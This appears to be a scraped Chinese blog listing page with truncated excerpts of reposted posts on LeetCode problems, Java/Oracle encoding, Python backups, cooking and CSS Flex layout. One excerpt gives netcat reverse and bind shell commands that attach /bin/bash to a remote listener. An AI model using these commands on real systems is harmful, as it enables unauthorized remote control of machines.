自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(4502)
  • 收藏
  • 关注

转载 java项目连接数据库(oracle)中文乱码问题解决方法

今天写了一个java项目连接数据库,之后写了一个执行入库操作的模块。此时暴露出一个问题就是项目的中文插入到数据库时会是乱码:项目输出的中文:执行插入操作后数据库中内容:此时CustomerNumber字段是乱码。出现这种情况一般都是数据库编码与项目编码不一致导致的,首先查看项目与数据库的编码格式:查看项目编码:项目的编码是gbk格式查看数据库编码格式:数据库编码格式...

2019-09-29 11:41:00 2425

转载 体检

虽然我们每年都体检,但都是稀里糊涂的,不知道哪些项目有用,哪些没用。反正就挑稍微贵点的、项目多的就完事了。看着琳琅满目的体检套餐,从几百块到上万块不等,突然间产生了怀疑:查这些到底有没用啊?每年几大千,是不是白花钱?于是就有了这篇东西。 先跟大家说几个重要结论: 体检很有必要。 体检套餐绝对不是越贵越好。 没有...

2019-09-29 08:04:28 673

转载 学做菜的笔记

豇豆干饭①豇豆切成小块②五花肉煮九分熟.切成条状2.1 炒锅下米,做饭,待米粒九分熟捞起,乘米汤,过滤米饭,清水除去米粒上残留的米汤,滤干待用③热锅,下油,油不必太辣,因为要放豆瓣,..否则豆瓣一下锅就糊了,④豆瓣基本散开了,下五花肉,炒到五花肉出油,锅里都在冒泡泡了,下豇豆⑤把锅里的肉和豇豆翻炒均匀,收于锅底⑥铺上米饭,尽量均匀,尽量收得占锅面积小点⑦用...

2019-09-28 19:24:00 605

转载 Python实现目录文件的全量和增量备份

目标:  1.传入3个参数:源文件路径,目标文件路径,md5文件  2.每周一实现全量备份,其余时间增量备份1.通过传入的路径,获取该路径下面的所有目录和文件(递归)方法一:使用os.listdir代码如下:#!/usr/bin/env python#coding:utf8import os,sysdef lsdir(folder...

2019-09-24 11:52:00 254

转载 nc 命令转发bash

反向1.控制端:nc -lvp 44442.被控制端:nc 控制端IP 4444 -e /bin/bash正向1.被控制端:nc -lvp 4444 -e /bin/bash2.控制端:nc被控制端ip 4444转载于:https://www.cnblogs.com/ahuo/p/11574927.html...

2019-09-23 21:20:00 468

转载 219. Contains Duplicate II - LeetCode

Description:Given an array of integers and an integer k, find out whether there are two distinct indices i and j in the array such that nums[i] = nums[j] and the absolute difference between i...

2019-09-20 16:52:00 90

转载 581. Shortest Unsorted Continuous Subarray (LeetCode)

Description:Given an integer array, you need to find one continuous subarray that if you only sort this subarray in ascending order, then the whole array will be sorted in ascending order, to...

2019-09-20 15:57:00 84

转载 697. Degree of an Array - LeetCode

Description:Given a non-empty array of non-negative integers nums, the degree of this array is defined as the maximum frequency of any one of its elements.Your task is to find the smallest ...

2019-09-20 11:36:00 81

转载 (Easy)1071. Greatest Common Divisor of Strings- LeetCode

Description:For strings S and T, we say "T divides S" if and only if S = T + ... + T (T concatenated with itself 1 or more times)Return the largest string X such that X divides str1and X ...

2019-09-19 18:06:00 124

转载 (Easy) Lexicographical Numbers - LeetCode.(非独立完成)

Description:Given an integer n, return 1 - n in lexicographical order.For example, given 13, return: [1,10,11,12,13,2,3,4,5,6,7,8,9].Please optimize your algorithm to use less time and spac...

2019-09-10 17:35:00 85

转载 (Easy) Ransom Note - LeetCode

Description:Given an arbitrary ransom note string and another string containing letters from all the magazines, write a function that will return true if the ransom note can be constructed fr...

2019-09-10 10:12:00 133

转载 (Easy) Goat Latin - LeetCode

Description:A sentence S is given, composed of words separated by spaces. Each word consists of lowercase and uppercase letters only.We would like to convert the sentence to "Goat Latin"(a...

2019-09-09 14:56:00 93

转载 (Easy) Day of the week - LeetCode

Description:Given a date, return the corresponding day of the week for that date.The input is given as three integers representing the day, month and year respectively.Return the answer a...

2019-09-09 12:02:00 125

转载 (Easy) Repeated String Match - LeetCode

Description:Given two strings A and B, find the minimum number of times A has to be repeated such that B is a substring of it. If no such solution, return -1.For example, with A = "abcd" an...

2019-09-09 10:36:00 86

转载 (Easy) Distance Between Bus Stops - LeetCode

Description:A bushas n stops numbered from 0 to n - 1 that forma circle. We know the distance between all pairs of neighboring stops where distance[i] is the distance between the stops numb...

2019-09-09 09:37:00 132

转载 Flex布局语法教程

网页布局(layout)是CSS的一个重点应用。布局的传统解决方案,基于盒状模型,依赖display属性 +position属性 +float属性。它对于那些特殊布局非常不方便,比如,垂直居中就不容易实现。2009年,W3C提出了一种新的方案—-Flex布局,可以简便、完整、响应式地实现各种页面布局。目前,它已经得到了所有浏览器的支持,这意味着,现在就能很安全地使用...

2019-09-06 20:39:00 92

转载 (Easy) Partition Array Into Three Parts With Equal Sum - LeetCode

Description:Given an array A of integers, return true if and only if we can partition the array into three non-empty parts with equal sums.Formally, we can partition the array if we can fin...

2019-09-05 17:54:00 97

转载 (Easy) Toeplitz Matrix - LeetCode

Description:A matrix is Toeplitz if every diagonal from top-left to bottom-right has the same element.Now given an M x N matrix, returnTrueif and only if the matrix is Toeplitz.Examp...

2019-09-05 16:40:00 89

转载 (Easy) Sum of Even Numbers After Queries - LeetCode

Description:We have an array A of integers, and an array queriesof queries.For the i-thquery val =queries[i][0], index= queries[i][1], we add valto A[index]. Then, the answer to the i...

2019-09-05 16:08:00 79

转载 (Medium) Teemo Attacking - LeetCode

Description:In LOL world, there is a hero called Teemo and his attacking can make his enemy Ashe be in poisoned condition. Now, given the Teemo's attacking ascending time series towards Ashe ...

2019-09-04 17:29:00 95

转载 (Easy) Maximum Product of Three Numbers - LeetCode

Description:Given an integer array, find three numbers whose product is maximum and output the maximum product.Example 1:Input: [1,2,3]Output: 6Example 2:Input: [1,2,3,4]Outp...

2019-09-04 15:27:00 92

转载 (Easy) Sort Array By Parity II - LeetCode

Description:Given an array Aof non-negative integers, half of the integers in A are odd, and half of the integers are even.Sort the array so that whenever A[i] is odd, i is odd; and whenev...

2019-09-04 15:06:00 85

转载 (Easy) Array Partition I - LeetCode

Description:Given an array of 2n integers, your task is to group these integers into n pairs of integer, say (a1, b1), (a2, b2), ..., (an, bn) which makes sum of min(ai, bi) for all i from 1 ...

2019-09-04 14:49:00 83

转载 (Easy) Most Common Word - LeetCode

Description:Given a paragraphand a list of banned words, return the most frequent word that is not in the list of banned words. It is guaranteed there is at least one word that isn't banned...

2019-09-04 12:13:00 82

转载 (Easy) Number Complement - LeetCode

Description:Given a positive integer, output its complement number. The complement strategy is to flip the bits of its binary representation.Note:The given integer is guaranteed to fi...

2019-09-04 10:42:00 80

转载 (LeetCode) First Unique Character in a String - LeetCode

Description:Given a string, find the first non-repeating character in it and return it's index. If it doesn't exist, return -1.Examples:s = "leetcode"return 0.s = "loveleetcode",r...

2019-09-04 10:22:00 71

转载 (LeetCode) Can Place Flowers - LeetCode

Description:Suppose you have a long flowerbed in which some of the plots are planted and some are not. However, flowers cannot be planted in adjacent plots - they would compete for water and bo...

2019-09-03 17:57:00 79

转载 (LeetCode) Best Time to Buy and Sell Stock - LeetCode

Description:Say you have an array for which the ith element is the price of a given stock on day i.If you were only permitted to complete at most one transaction (i.e., buy one and sell o...

2019-09-03 16:52:00 81

转载 (Medium) Shifting Letters - LeetCode

Description:We have a string S of lowercase letters, and an integer array shifts.Call the shift of a letter, the next letter in the alphabet, (wrapping around so that 'z' becomes 'a').Fo...

2019-09-03 13:56:00 100

转载 Pancake Sorting- Algorithm.

source link: https://www.geeksforgeeks.org/pancake-sorting/Description:Given an unsorted array, sort the given array. You are allowed to do only following operation on array.flip(arr, i):...

2019-09-03 11:13:00 178

转载 (LeetCode) Custom Sort String - LeetCode

Description:S and T are strings composed of lowercase letters. In S, no letter occurs more than once.S was sorted in some custom order previously. We want to permute the characters of T so ...

2019-09-03 09:46:00 75

转载 (Easy) Shortest Completing Word - LeetCode

Description:Find the minimum length word from a given dictionary words, which has all the letters from the string licensePlate. Such a word is said to complete the given string licensePlate...

2019-09-02 18:48:00 82

转载 (Easy) Guess Number Higher or Lower -LeetCode

Description:We are playing the Guess Game. The game is as follows:I pick a number from 1 to n. You have to guess which number I picked.Every time you guess wrong, I'll tell you whether the ...

2019-09-02 16:36:00 77

转载 验证销售部门的数据查看权限-脚本demo

1 # coding:utf-8 2 ''' 3 @file: run_old.py 4 @author: jingsheng hong 5 @ide: PyCharm 6 @createTime: 2019年08月20日 17点16分 7 @contactInformation: [email protected] 8 ''' 9 10 imp...

2019-09-02 16:17:00 94

转载 (Easy) Sort an Array - LeetCode

Description:Given an array of integers nums, sort the array in ascending order.Example 1:Input:[5,2,3,1]Output: [1,2,3,5]Example 2:Input: [5,1,1,2,0,0]Output: [0,0,1,1,2,5]...

2019-09-02 13:33:00 75

转载 (Easy) Reshape the Matrix - LeetCode

Description:In MATLAB, there is a very useful function called 'reshape', which can reshape a matrix into a new one with different size but keep its original data.You're given a matrix repre...

2019-09-02 09:54:00 75

转载 (Easy) Can Make Palindrome - LeetCode Contest (in progress)

Description:Given a strings, we make queries on substrings ofs.For each queryqueries[i] = [left, right, k], we mayrearrangethe substrings[left], ..., s[right], and then chooseup toko...

2019-09-01 12:10:00 89

转载 (Easy) Diet Plan Performance LeetCode Contest

Description:5174.Diet Plan PerformanceMy SubmissionsBack to ContestUser Accepted:0User Tried:0Total Accepted:0Total Submissions:0Difficulty:EasyA dieter ...

2019-09-01 11:22:00 113

转载 (Easy) Reach a Number - LeetCode

Description:You are standing at position0on an infinite number line. There is a goal at positiontarget.On each move, you can either go left or right. During then-th move (starting from 1)...

2019-09-01 09:53:00 85

转载 (Easy) Reverse Vowels of a String - LeetCode

Description:Write a function that takes a string as input and reverse only the vowels of a string.Example 1:Input: "hello"Output: "holle"Example 2:Input: "leetcode"Output: "leot...

2019-08-31 22:22:00 77

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除